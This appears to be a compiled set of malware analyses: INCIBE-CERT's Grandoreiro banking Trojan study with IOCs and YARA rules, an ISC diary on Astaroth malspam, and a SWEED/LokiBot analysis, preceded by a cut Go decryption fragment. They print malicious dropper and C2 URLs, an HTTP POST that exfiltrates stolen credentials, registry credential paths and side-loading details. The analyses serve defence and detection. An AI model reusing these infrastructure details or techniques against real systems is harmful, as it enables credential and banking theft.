f, err := os.OpenFile(filepath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
panic(err)
}
byte_data := []byte(data)
f.Write(byte_data)
f.Close()
}
func decrypt(encryptedString string, keyString string) (decryptedString string) {
key, _ := hex.DecodeString(keyString)
enc, _ := hex.DecodeString(encryptedString)
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonceSize := aesGCM.NonceSize()
nonce, ciphertext := enc[:nonceSize], enc[nonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
panic(err.Error())
}
return fmt.Sprintf("%s", plaintext)
}
``` |
# Grandoreiro Analysis Study
**TLP: WHITE**
**June 2022**
**INCIBE-CERT_STUDY_GRANDOREIRO_ANALYSIS_2022_v1**
This publication belongs to INCIBE (Spanish National Cybersecurity Institute) and is licensed under a Creative Commons Attribution-Non-commercial 3.0 Spain License. For this reason, it is permitted to copy, distribute and communicate this work publicly under the following conditions:
- **Acknowledgement.** The content of this report may be reproduced in part or in full by third parties, with the appropriate acknowledgement and making express reference to INCIBE or INCIBE-CERT and its website. Under no circumstances shall said acknowledgement imply that INCIBE supports said third party or supports the use they make of this work.
- **Non-commercial Use.** The original material and the derived works may be distributed, copied and exhibited provided their use does not have a commercial purpose.
By reusing or distributing the work, the terms of the license of this work must be made clear. Some of these conditions may not apply if permission is obtained from INCIBE-CERT as owner of the authorship rights.
## 1. About this study
This study sets forth the results of the analysis conducted on the Grandoreiro banking Trojan, also known as Delephant. As a trojan, this malware is designed to have multiple uses, the most common of which is to create a backdoor on the infected equipment to be able to download updates and new functions. The aim of the study is to gather the necessary information to identify the characteristics of this threat as well as its behaviour and techniques used, allowing traceability of future versions of the same malware, or its potential impact on other entities in the financial sector, or even in other sectors.
In addition, there is evidence of the spread of operations conducted with this malware to Europe, including Spain and Portugal, and it has been active in Latin America since 2015. The actions carried out for its preparation comprise an analysis within a controlled environment. The general information obtained is that Grandoreiro is a Trojan developed in Delphi, a programming language popular for Brazilian malware. It is distributed via phishing, that is, e-mail campaigns that send malicious attachments or links that redirect to fraudulent web pages alerting the user to install fake Java or Flash application updates. Once its low-level modus operandi has been described, a series of countermeasures are provided to detect this Trojan and, if necessary, to disinfect the affected computer.
## 2. Document structure
This document comprises a part presenting the type of threat that the Grandoreiro Trojan represents, and mentions its main purpose and some of its characteristics. Subsequently, a technical report part provides detailed information on the infection routes used by this Trojan, the language in which it is programmed, its functionalities and mode of action, describing the infection process step by step, as well as the protection methods used by Grandoreiro to evade security controls. Subsequently, recommendations and actions to detect the Grandoreiro threat, as well as the cleaning process, are provided in section 5. Finally, section 6 lists the references consulted throughout the analysis. In addition, the document has two annexes: Appendix 1 includes the indicator of commitment (IOC) associated to Grandoreiro and Appendix 2 comprises the Yara rules for the detection of malicious samples of this Trojan.
## 3. Introduction
Grandoreiro is one of the many banking Trojans originating in South America that has spread its operations to other regions, mainly to Europe. According to ESET researchers, it has been active since 2015, affecting Latin American countries, mainly Brazil, its country of origin. According to researchers, Grandoreiro authors update its code at a remarkable speed, and even suspect that two variants exist simultaneously, and in 2019 expanded worldwide to banks in Spain, Mexico and Portugal, as well as adjusting the themes of its distribution campaigns by taking advantage of the disinformation campaigns and hoaxes surrounding COVID-19 at the height of the pandemic, especially during 2020.
## 4. Technical report
### 4.1. Infection methods
The most common method of Trojan infection consists of several stages; first, the target user receives an e-mail which contains a URL pointing to a fraudulent page. By clicking on the link included in the fraudulent email received, the user unknowingly downloads the first element of the process. This is an installer file which, in turn, will download the payload containing the banking Trojan. However, occasionally this file may be included in the e-mail as an attachment.
### 4.2. Programming language, functions and mode of operation
Grandoreiro is a banking Trojan whose name was inspired by the large volume of binaries generated by the attackers, which exceeded 250 MB. This made it difficult to analyze on the different online sandboxes platforms, as it exceeded the allowed limit by far. Several binaries are involved in user engagement. It starts from the initial binary that is downloaded by the victim. This binary is a compressed file containing an installer. It contains a dll that acts as a downloader (malware that downloads the threat from the Internet to the victim's computer). This binary is programmed in Delphi and compiled with Borland Delphi 7.
The second dll belongs to the Grandoreiro banking Trojan family. As above, it is programmed in Delphi and compiled with Borland Delphi 7. It is a compressed file. Inside there is an installer, which will download the payload containing the banking Trojan. In the embedded dll, you can see where the URL is located and where the payload can be found; this payload is encrypted so as not to be detected from the start by analysis tools.
First, the user language is verified, and users having set up English as their language are rejected; if such a user is detected, the process ends. In this way, they ensure that the target user matches their intended target, and would prevent it from being executed as usual on any sandbox platform whose language is English. Once you have the URL in the correct format, removing filler characters, download the file shown below.
The dll downloads and completes the code so that it can be decompressed later in the expected path. The attackers make sure that the server registers the user's language, as it is intended for Spanish users. They add the language to the URL and use the URLDownloadToFile API function. This file will be stored under the path C:\Users\AppData\Roaming\nowview\AX3346546774.zip.
After several mathematical operations based on XOR, a zip file is generated in which it can be unzipped, leaving the dll placed next to the executable (and 2 other dll that the executable needs), which will be in charge of launching the infection process. The contents of the downloaded file are decrypted and then decompressed, and a series of files are placed in the directory. The malicious dll is dbghelp.dll, which, since it is located in the same directory, will be loaded as a regular dll by the solodriver.exe executable; this is the first place where it will be looked for, ignoring the legitimate one in the system. The application solodriver.exe is part of the Advanced Installer 18.6.1 software and is called intune.exe. Therefore, they use a legitimate application to load the malicious dll which controls that the main application window remains hidden and is not visible, although at the moment of execution it is briefly displayed before it is hidden again. If the malicious dll is removed from the same directory where solodriver.exe is located is executed, we can see what it really looks like and identify that this file hides the Trojan controlling the displayed windows.
Apparently, any action triggered by the dll will appear to be performed by solodriver.exe, since it is in the memory of the executable as just another dll. The dynamic library dbghelp.dll is a sizeable (255M) library, which makes it difficult to analyze it with certain applications, as often those are limited to smaller binaries, as is the case with many online malware analysis platforms. Opening the file with a resource editor reveals why it is so large: it contains 2 ISO-type similar images. The first, MBJDJDBHWDX.bmp, takes 128 MB while the second, ZCCFMYWMGGO.bmp, weighs 118 MB.
As the campaign is aimed at users in Spain and Portugal, it seeks to ensure that the language configuration is country-specific. Figure 15 makes use of the RTC Portal component. This component is specially designed for remote desktop control, file sharing and chat applications. As its own website states, RealThinClient SDK is a flexible and modular framework for building reliable and scalable cross-platform applications with Delphi, designed for the Web by utilizing HTTP/S with full IPv4 & IPv6 support and built-in multi-threading, extensively stress-tested to ensure the highest stability. By using non-blocking event-driven communication with built-in thread-pooling, applications built with the RealThinClient SDK can handle thousands of active connections by using a limited number of threads in a real multi-threaded environment, on all supported platforms.
When the application is started, a series of timers are created. Those timers will periodically check what is going on in the computer, as well as hide the application used to load the dll. First, it uses FindWindowA API to search for the window with the title "Visual Studio Ultimate" and if found, use its handle to hide it with ShowWindow. Another periodic process is to check that banks are accessed, looking for a series of strings in the active windows. Not all strings are directly accessible in the binary, but when needed, they are decrypted following an XOR-based algorithm. This takes into account the encrypted string with a key. The method consists of running through the string and performing character-by-character operations taking into account its current position and the previous position in between.
If any of them are found during the running processes, it prepares to generate the dynamic domains that will be queried. Before, it runs the command "ipconfig /flushdns" to clear the DNS cache. Then, using a base of 11 predefined domains, it generates the final dynamic domains according to the Domain Generator Algorithm (DGA). Therefore, 80 different dynamic domains are generated in this way. Once the process is finished, it gets the name of the PC and decrypts one of the strings it needs to report to Command and Control. These strings are encrypted within the binary. Each country has an associated identifier (7236), and when it detects that one of them is being visited, it associates it to this corresponding value in order to report this. An example of the data to be sent is presented. The name of the affected equipment has been obfuscated. This communication is done with the above-mentioned RTC component.
Other main functionalities of this Trojan include the following:
- It has the ability to update the malicious dll. For this purpose, the word UpdateDLLMODULO is used. This process would download a zip file with the same name as the dll, unzip it and halt the process to resume it later. In order to do this, a bat file called cookie.bat is created and added to the actions mentioned above.
- It has the ability to disconnect the victim using the code SUSPENDEACESSO, to reboot the machine using the code REINICIAGERAL, or to reboot the Trojan itself using the code Rein1c1aSystem.
- It has the capability to obtain information on cursor use (code EXIBIRMZ).
- And to control the user's cursor (code OCULTARMZ).
- It can create a registry file, called UPAK.BIN, using the code CRIARCADASTRO.
- It has the ability to create an activity log in a log called lz.log, using the code MARCARPC.
- It can use the code DEL3TARMARC0AO to delete the file lz.log, as a log mentioned above, in the same path as the executable.
- It has the capacity to search the processes in memory using the code DETONATEPROCESS.
- It has the ability to take screenshots, using the codes ATIVARCAPTURAMAG and ATIVARCAPTURAFULL. The difference is the method used to perform this action: if the operating systems are Windows 10, 8.1 and Server, then it uses the MAG "Magnification" DLL, otherwise it uses the FULL option.
- It can deactivate the scroll bar using the code DISABLESCROOL.
- It deletes both the entire directory where the Trojan is located using the DELETEAKL code, and the registry key, as if it had never existed.
It is therefore possible to tamper with windows that have been opened by the user, to capture the user’s keystrokes and to simulate keyboard and mouse actions. At the same time, it can control the user's browsing or blocking access to websites chosen by the attacker. Persistence is ensured by creating a shortcut to it in the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uvnerjnx (this key may vary from case to case), pointing to C:\User\appdata\roaming\nownowviewview\solodriver.exe (as the executable name and path may be different in other samples).
### 4.3. Protection methods used by the Trojan
The Trojan tries to protect itself from anti-malware software most widely used in Latin America, such as IBM Trusteer and Warsaw Diebold. A standard measure that many Trojans use is to verify whether they are being debugged, thanks to the Windows IsDebuggerPresent API. Grandoreiro's technique for obfuscating malicious binaries in order to go undetected, which tries to make binaries so large that malware analysis platforms are unable to detect it due to their delivery size limitations, is known as binary padding. It is filled with large images for no other purpose than to make the binary such a size that makes it difficult to analyze. The use of legitimate and signed applications loading the dll with a legitimate and existing name in the operating system, but in the same directory as the executable (first in the dll loading path), which causes it to load earlier than expected, makes detection more difficult.
## 5. Detection and disinfection
### 5.1. Detection and disinfection methods
Many anti-virus software programmes are capable of detecting this threat, so it would be advisable to have anti-virus software and anti-spam tools installed and updated. In cases where the first touchpoint is a Microsoft Office document, disable the macro automatic execution function, and, above all, be wary of any unknown senders and do not install files from unreliable sources under any circumstances. For disinfection, it is necessary to delete the registry key associated with persistence. In the analysed sample the registration key is Uvnerjnx. However, it can be different in other cases. In addition to interrupting the executable that uses the dll, in order to ensure that the action does not fail due to the fact that the executable was still running and the Trojan dll was active. Therefore, the following script is valid when the registry key, the path and the name of the executable match. In other cases, these values must be changed to ensure that they match.
```
Key=”Uvnerjnx”
Executable=”solodriver.exe”
Path=”nowview”
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v %Clave% /f
taskkill /f /im %Executable%
del /F %APPDATA%\%Path%\*.exe
del /F %APPDATA%\%Path%\*.dll
rmdir /s /q %APPDATA%\%Path%
```
### 5.2. Recommendations
In order to avoid getting infected with the Grandoreiro malware, it is advisable to apply the following measures:
- Ignore irrelevant emails and emails that are sent from an unknown address or include an attachment (or a link to a website) and never open files or web links included in such emails before ensuring that it is perfectly safe to do so.
- Only download software from official websites and via direct download links.
- Update installed programs through implemented functions or tools provided by official software developers. The same applies to activating software.
- Regularly scan the operating system for threats with a trustworthy anti-virus or anti-spyware suite and ensure that this software is kept updated.
## 6. References
- Alberto Payo “El troyano bancario brasileño Grandoreiro vuelve a amenazar a los usuarios españoles”
- Aitor Echavarri “Campaña Grandoreiro Mercadona”
- Grandoreiro-Bcsc-Malware-Grandoreiro
- Check Point and Europol "Banking Trojans: From Stone Age to Space Era"
- Cytomic “Vuelve el troyano Grandoreiro contra las entidades bancarias aprovechando el COVID-19”
- Cybersecurityadmin "Grandoreiro: How engorged can an EXE get?"
- Dani Abramov and Limor Kessem "Grandoreiro Malware Now Targeting Banks in Spain"
- David Garcia “El troyano bancario Faketoken ha vuelto: analizamos su funcionamiento”
- David Garcia “Fraude basado en inyecciones de código y phishing”
- Ehacking “Phishing que invita a descargar copia de seguridad de WhatsApp descarga el troyano Grandoreiro”.
- ESET Research “Grandoreiro: análisis de un troyano bancario dirigido a Brasil, España, México y Perú”
- ESET Research “Desde Amavaldo a Zumanek: un análisis de 12 troyanos bancarios de América Latina”
- ESET Research “Indicadores muestran la cooperación entre autores de troyanos bancarios de América Latina”
- INCIBE “Estudio del análisis de FluBot”
- Infobae “México, Brasil y España, los países más afectados por ataques cibernéticos bancarios”
- IT News “ESET amplía la investigación sobre el troyano bancario Grandoreiro”
- José Manuel Roviralta Puente “Ataques de inyección SQL, una amenaza para tu web”
- Kaspersky Lab "The Tetrade: Brazilian banking malware goes global"
- Open Web Application Security Project "Man-in-the-browser attack"
- OSI “Copia de seguridad de mensajes de WhatsApp” nuevo correo electrónico fraudulento que descarga malware
- Pedro Tavares "The updated Grandoreiro Malware equipped with latenbot-C2 features in Q2 2020 now extended to Portuguese banks"
- Pierluigi Paganini "Grandoreiro Malware implements new features in Q2 2020"
- Techbit “Grandoreiro: el virus troyano bancario que amenaza a México” El Universal
- Satinfo “Ahora es a Carrefour a quien utilizan para conseguir que se ejecute un fichero spy Grandoreiro”
## Appendix 1: Indicators of compromise (IOC)
- Name (Installer): Archiv.Endes.Fact3101.msi
- MD5: 6346c88c0d45779740b526dc7da79fc8
- SHA256: 6a3b03e8a8a1edfcf33aebb9d55f81ed274196596a20db875e2ae923d6468bbd
- Name (Downloader DLL): Binary.Maui.dll
- MD5: 20253c20ea35ec595c5577604f8a2730
- SHA256: 58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9a0e04c4ca124e58382
- Name (Trojan DLL): dbghelp.dll
- MD5: 98ef8e5ef3bef928537d4fd25c53380a
- SHA256: 35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a
### List of affected financial institutions
- AMARELO
- Liberbank
- HSBCUK
- BRSUL
- Openbank
- barclaysUK
- BancodaAmazonia
- ING
- BICE
- Banpara
- Pichincha
- Ripley
- Santander
- CaixaGeral
- Bci
- Banese
- Mediolanum
- Chile
- Bradesco
- Unicaja
- BancoEstado
- AGY
- TRIODOS
- Falabella
- inter
- ACTIVOBANK
- Santander
- Sicoob
- ACTIVOBANKPT
- Scotiabank
- Sicredi
- novobancopt
- PortugalBBVA
- Caixa
- santapt
- bancobcr
- itau
- MONTEPIOpt
- BarclaysES
- nordeste
- millenniumbcppt
- BNPParibas
- paulista
- Caixadirectapt
- CaixaGuissona
- Scotiabank
- EuroBicpt
- Cajasur
- brb
- ibercaja
- CitiBusiness
- Cetelem
- BancoAzteca
- Commerzbank
- Banestes
- Citibanamex
- Deutsche
- Original
- Banorte
- EVOBanco
- CajaRural
- Scotiabank
- BMN
- Sabadell
- BPI
- MicroBank
- BANKINTER
- Cecabank
- MiBanco
- Bankia.es
- natwest
## Appendix 2: Yara Rules of detection
The following Yara rules detect the 2 versions of dll discussed in the study, both the downloader and the trojan itself:
```yara
rule Grandoreiro_Banker_Downloader {
meta:
author = "INCIBE-CERT"
description = "Detects the Grandoreiro banking Trojan downloader"
strings:
$delphidll1 = { BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? }
$delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? ?? E8 ?? ?? FF FF E8 ? ?? FF FF 8D 40 00 }
$str1 = "2001, 2002 Mike Lischke"
$str2 = "8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS"
$str3 = "Archive already has SFX stub"
$str4 = "Deflate64 compression method is not supported"
$str5 = "Delphi Component"
$str6 = "EDecompressionErrorneeded dictionary"
$str7 = "MakeSFX error"
$str8 = "Runtime error at 00000000"
$str9 = "Web site: http://www.componentace.com"
$str10 = "ScreenToClient"
$str11 = "SFXStub property is not specified"
$str12 = "SystemCurrentControlSettings Layouts"
$str13 = "SystemParametersInfoA"
$str14 = "TAESCryptoTransform"
$str15 = "TGetSiteInfoEvent"
$str16 = "$TMultiReadExclusiveWriteSynchronizer"
$str17 = "to create a commercial product, please register and download"
$str18 = "URLDownloadToFileA"
$str19 = "VerLanguageNameA"
$str20 = "WndProcPtr%.8X%.8X"
$str21 = "you that your Personal Edition is provided for personal use only"
$str22 = "Zip64Mode"
condition:
uint16(0) == 0x5A4D // MZ
and uint16(uint32(0x3C)+0x18) == 0x010B //MZ header at 0x3C
and (uint16(uint32(0x3C)+0x16) & 0x2000) == 0x2000 //PE DLL signature
and any of ($delphidll*)
and all of ($str*)
and (filesize > 1400KB and filesize < 3000KB)
}
rule Grandoreiro_Banker_Trojan {
meta:
author = "INCIBE-CERT"
description = "Detects the Grandoreiro banking Trojan"
strings:
$mzp = "MZP"
$str1 = "yIdIOHandlerSocket"
$str2 = "ATIVARCAPTURAFULL"
$str3 = "ATIVARCAPTURAMAG"
$str4 = "AutoSessionsPingT"
$str5 = "v4.09 (2013.Q2)"
$str6 = "CallNextHookEx"
$str7 = "Cap.DfbBackingMode"
$str8 = "CryptPlugin.AfterDisconnect"
$str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
$str10 = "DELETAKL"
$str11 = "DETONAPROCESSO"
$str12 = "EXIBIRMZ"
$str13 = "Gate_CryptPlugin"
$str14 = "GetType method not available for TRtcDataRow"
$str15 = "GUploadAnywhere_Super"
$str16 = ".hopto.org"
$str17 = "Magnification.dll"
$str18 = "<member><name>RTC.DATASET.ROWS</name>"
$str19 = "Portable network graphics (AlphaControls)"
$str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
$str21 = "SUSPENDEACESSO"
$str22 = "ZDecompress_str.InflateInit"
condition:
$mzp at 0
and all of ($str*)
and (filesize > 140000KB and filesize < 400000KB)
}
``` |
# Brazil malspam pushes Astaroth (Guildma) malware
**Published:** 2022-08-19
**Last Updated:** 2022-08-19 22:43:52 UTC
**by Brad Duncan**
## Introduction
Today's diary is a quick post of an Astaroth (Guildma) malware infection I generated on Friday 2022-08-19 from a malicious Boleto-themed email pretending to be from Grupo Solução & CIA. Boleto is a payment method used in Brazil, while Grupo Solução & CIA is a Brazil-based company.
## Images from the infection
- Screenshot of the malicious email with a link to download a malicious zip archive.
- Link from email leads to a web page pretending to be from Docusign that provides a malicious zip archive for download.
- Downloaded zip archive contains a Windows shortcut and a batch file. Both are designed to infect a vulnerable Windows host with Astaroth (Guildma).
- Traffic from the infection filtered in Wireshark (part 1 of 3).
- Traffic from the infection filtered in Wireshark (part 2 of 3).
- Artifact from the infected host's C:\Users\Public directory.
- Artifact on the infected host's C: drive at C:\J9oIM9J\J9oIM9J.jS.
- Windows shortcut in the infected user's Roaming\Microsoft\Windows\Start Menu\Programs\Startup directory to keep the infection persistent.
- Directory with persistent files used for the Astaroth (Guildma) infection.
- Astaroth (Guildma) performs post-infection data exfiltration through HTTP POST requests.
## Indicators of Compromise (IOCs)
- Link from email:
hxxp://w7oaer.infocloudgruposolucaoecia[.]link/P05dWVqI0WghlU4/UeWgmk3mU3p8yeyxkUgI8Um1R1/65837/gruposolucaoeciainfocloud
- IP address and TCP port for initial malicious domain:
172.67.217[.]95 port 80 - w7oaer.infocloudgruposolucaoecia[.]link
- URL to legitimate website generated from iframe in the above traffic:
hxxp://www.intangiblesearch[.]it/search/home_page.php?db_name=%3Cscript%20src=%22https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js%22%3E%3C/script%3E%3Cscript%20type
- Traffic to initial malicious domain that provides zip archive download:
hxxp://w7oaer.infocloudgruposolucaoecia[.]link/P05dWVqI0WghlU4/UeWgmk3mU3p8yeyxkUgI8Um1R1/65837/gruposolucaoeciainfocloud
hxxp://w7oaer.infocloudgruposolucaoecia[.]link//inc.php?/gruposolucaoeciainfocloud
hxxp://w7oaer.infocloudgruposolucaoecia[.]link/YBZJPTBQV/482NJ8NS74J9/N6D6WW/gruposolucaoeciainfocloud_097.88933.61414z64y64
- Traffic generated by Windows shortcut or batch file from the downloaded zip archive:
172.67.212[.]174:80 ahaaer.pfktaacgojiozfehwkkimhkbkm[.]cfd GET /?1/
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?59792746413628799
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?59792746413628799
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?33954141807632999
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?33954141807632999
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?71576927405639060
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?71576927405639060
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?59784568396678051
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?59784568396678051
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?40018133101693668
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?40018133101693668
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?33450285101613952
104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?33450285101613952
- Data exfiltration through HTTP POST requests:
104.21.25[.]34:80 hcu11m2mkk2.rouepcgomfhejergdahjcfcugarfcmoa[.]tk POST /
172.67.165[.]46:80 j2vfrc7gddo.aeabihjpejprueuibdjmhfmdcpsfr[.]gq POST /
## Example of downloaded zip archive
- SHA256 hash: f254f9deeb61f0a53e021c6c0859ba4e745169322fe2fb91ad2875f5bf077300
File size: 1,091 bytes
File name: gruposolucaoeciainfocloud_097.88933.61414.zip
### Contents from the above zip archive
- SHA256 hash: 5ca1e9f0e79185dde9655376b8cecc29193ad3e933c7b93dc1a6ce2a60e63bba
File size: 338 bytes
File name: gruposolucaoeciainfocloud_097.88933157.086456.45192.cmd
- SHA256 hash: db136e87a5835e56d39c225e00b675727dc73a788f90882ad81a1500ac0a17d6
File size: 1,341 bytes
File name: gruposolucaoeciainfocloud_097.88933157.086456.45192.lNk
## Command from Windows shortcut in Windows Startup folder on the infected Windows host
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command
C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.exe
C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.log
## Files used for persistent infection
- SHA256 hash: 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
File size: 893,608 bytes
File location: C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.exe
File description: Windows EXE for AutoIt v3, not inherently malicious
- SHA256 hash: e31658734d3e0de1d2764636d1b8726f0f8319b0e50b87e5949ec162ae1c0050
File size: 246,116 bytes
File location: C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.log
File description: Malicious data binary, AutoIt v3 compiled script run by above Windows EXE for AutoIt v3
## Final words
A pcap of the infection traffic, the associated malware/artifacts, and the email that kicked off this infection are available here.
**Brad Duncan**
brad [at] malwre-traffic-analysis.net
**Keywords:** Astaroth, Brazil, Guildma, Malspam |
# SWEED Targeting Precision Engineering Companies in Italy
## Introduction
Today I’d like to share a quick analysis of an interesting attack targeting precision engineering companies based in Italy. Precision engineering is a very important business market in Europe; it includes developing mechanical equipment for automotive, railways, heavy industries, and military-grade technology. The attacker pretended to be a customer and sent to the victim a well-crafted email containing a Microsoft XLS file including real spear-parts codes, quantities, and shipping addresses. A very similar attack schema to the MartyMCFly campaign.
## Technical Analysis
**Hash:** 863934c1fa4378799ed0c3e353603ba0bee3a357a5c63d845fe0d7f4ebc1a64c
**Threat:** Microsoft Excel Document
**Brief:** Exploiter, Dropper, and Executor targeting precision engineering companies
**Description:**
**Ssdeep:** 384:janC18qmTUKhKVxbo6JpM2gwmeJxQrHwFeDtug/uND40C2D:janCOqm4tVxE6rM2g0fO2exuxC0FD
On 2019-10-26, a well-crafted email coming from [email protected] asking for an economic proposal reached specific email boxes belonging to the purchasing department of a well-known precision engineering company. Basically, the attacker asks the victims to quote the entire list of spear-parts included in an attached Excel document. The source address looks genuine since it belongs to a big company working in the textile field, which frequently uses precision equipment machines in its production chain.
**Attacker Spreadsheet looking real**
Once the victim opens up the document, it would actually see a “looking real” Microsoft Excel spreadsheet. Surprisingly, the spreadsheet doesn’t hold Macro code, so no weird message would appear and no weird requests for enabling macros or compatibility-mode would appear on the victim screen. Everything looks real except for the third object included in the Excel file.
**Object-3 exploiting CVE-2017-11882.**
If you are familiar with CVE-2017-11882, you might notice it immediately, but if you aren’t, you might take a look at the exploit generation and an example. In a nutshell, CVE-2017-11882 is a 17-year-old memory corruption issue in Microsoft Office (including Office 360). When exploited successfully, it can let attackers execute remote code on a vulnerable machine—even without user interaction—after a malicious document is opened. The flaw resides within Equation Editor (EQNEDT32.EXE), a component in Microsoft Office that inserts or edits Object Linking and Embedding (OLE) objects in documents. Once the victim opens the document, apparently nothing happens, but silently Object3 runs EquationEditor and exploits a memory corruption vulnerability executing code on the running host.
**Equation Editor Crashes and Execute Code**
The code execution implements a romantic Drop and Execute code by dropping a Windows PE file from: http://mail.hajj.zeem.sa/wp-admin/edu/educrety.exe and by running it directly in memory exploiting fileless behavior.
## Analysis of Dropped PE File
**Hash:** 64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981
**Threat:** Sensitive data stealer
**Brief:** Looks for stored passwords and tries to push them on command and control servers
**Description:**
**Ssdeep:** 6144:htbOljxWyjJypr+QqhdJdUwcPWFNEwXh/XEVOwG6Fro:h9OXBy-oXLU7eFNEwREVOJv
The dropped PE (educrety.exe) is compiled by Microsoft Visual C++ and holds a nice icon. According to VT history detection, the same hash has been seen with at least three different names: educrety.exe, prestezza.exe, and cardsharper.exe. ExifTools shows that prestezza.exe is the original file name while the project internal name is cardsharper.exe. Once the sample is run, it harvests information from many registry keys where vendors are used to save access credentials or access tokens.
**Registry Keys:**
- HKEY_LOCAL_MACHINE\Software\NCH Software\Fling\Accounts
- HKEY_CURRENT_USER\Software\NCH Software\Fling\Accounts
- HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts
- HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
- HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
- HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
- HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
- HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions
- HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
- HKEY_CURRENT_USER\Software\IncrediMail\Identities
- HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities
- HKEY_CURRENT_USER\Software\Martin Prikryl
- HKEY_LOCAL_MACHINE\Software\Martin Prikryl
- HKEY_LOCAL_MACHINE\SOFTWARE\Postbox\Postbox
- HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\FossaMail
- HKEY_CURRENT_USER\Software\WinChips\UserAccounts
- HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
- HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
Once it gets credentials, it pushes them on a command and control server:
```
POST /edu/Panel/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: www.corpcougar.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: EEABFA
Content-Length: 190
Connection: close
```
## ATT&CK TTP Summary
Following MITRE ATT&CK compiled according to what I found.
- **Initial Access:** T1193 (Spearphishing Attachment)
- **Execution:** T1204 (User Execution)
- **Defense Evasion:**
- T1107 (File Deletion – deletes original file after infection)
- T1158: Hidden Files and Directories
- T1045: Software Packing – threat comes packed/encrypted
- **Credential Access:**
- T1003: Credential Dumping
- T1081: Credentials in Files
- T1214: Credentials in Registry
- **Collection:** T1005: Data from Local System
- **Exfiltration:** T1002: Data Encrypted
- **Command and Control:**
- T1043: Commonly Used Port
- T1071: Standard Application Layer Protocol
## Conclusions
According to Cisco Talos, a large number of ongoing malware distribution, including notable malware such as Formbook, Lokibot, and Agent Tesla, could be related to a singular threat actor called “SWEED.” I found many similarities, including original attack vectors, used Microsoft Office Exploit, implementation of LokiBot, and victim types to “SWEED,” so I believe this attack could also be attributed to the same threat actor. Moreover, the used techniques and the care of the overall attack, which included a study on the victim products, remind me of a more recent analysis made by Fortinet, so I believe it might be attributed to the same threat actor as well as the described attack. Finally, I think “SWEED” threat actor is attacking Italian precision engineering companies. TTPs and communication schema are so close to each other that it’s hard to believe in fortuity.
## IoC
- 863934c1fa4378799ed0c3e353603ba0bee3a357a5c63d845fe0d7f4ebc1a64c (MalDoc)
- 64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981 (dropped)
- http://mail.hajj.zeem.sa/wp-admin/edu/educrety.exe (dropping URL)
- http://www.corpcougar.com/edu/Panel/five/fre.php (C2)
- [email protected] (eMail)
## Yara Rule
```yara
import "pe"
rule educrety {
meta:
description = "a - file educrety.exe"
date = "2019-10-27"
hash1 = "64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981"
strings:
$x1 = "C:\\xampp\\htdocs\\BuilderTest\\8fa3c458f356fcd36f352a5923691b32\\Release\\Project1.pdb" fullword ascii
$s2 = "prestezza.exe" fullword wide
$s3 = "hxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauh" fullword ascii
